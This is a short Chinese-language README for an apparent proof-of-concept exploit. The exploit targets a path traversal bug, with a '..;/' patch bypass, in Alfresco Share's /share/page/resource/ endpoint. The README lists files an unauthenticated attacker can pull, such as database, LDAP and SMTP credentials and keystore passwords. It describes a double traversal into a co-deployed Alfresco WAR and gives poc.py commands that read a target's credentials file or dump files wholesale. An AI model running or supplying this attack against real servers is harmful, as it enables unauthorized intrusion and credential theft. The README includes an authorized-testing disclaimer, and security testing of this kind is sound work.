Alfresco Share 暴露了一个用于提供静态资源的 /share/page/resource/ 端点。在受影响版本中,该端点未正确限制路径遍历,允许未授权攻击者读取 Share Web 应用(以及可能部署在同一 Tomcat 实例中的同级 Web 应用)中的任意文件。
..;/ 绕过补丁)未授权攻击者可以读取已部署 Web 应用中的任意文件:
WEB-INF/web.xml — Servlet 配置、过滤器链、安全约束WEB-INF/classes/alfresco-global.properties — 数据库凭据、LDAP 绑定密码、SMTP 凭据WEB-INF/classes/alfresco/keystore/ssl.keystore — 用于 Solr 通信的 mTLS 证书WEB-INF/classes/alfresco/keystore/ssl-keystore-passwords.properties — 密钥库密码META-INF/MANIFEST.MF — 精确版本和构建信息注意:如果 Alfresco Web 应用与 Share 共同部署在同一 Tomcat 中,双重遍历(..;/..;/alfresco/...)可访问 Alfresco WAR,从而暴露数据库凭据和密钥库材料。
python poc.py -t https://target.com
python poc.py -t https://target.com -f WEB-INF/classes/alfresco-global.properties
python poc.py -t https://target.com --dump
本工具仅供授权安全测试和教育目的使用。未经授权访问计算机系统属于违法行为。测试前请务必获得书面许可。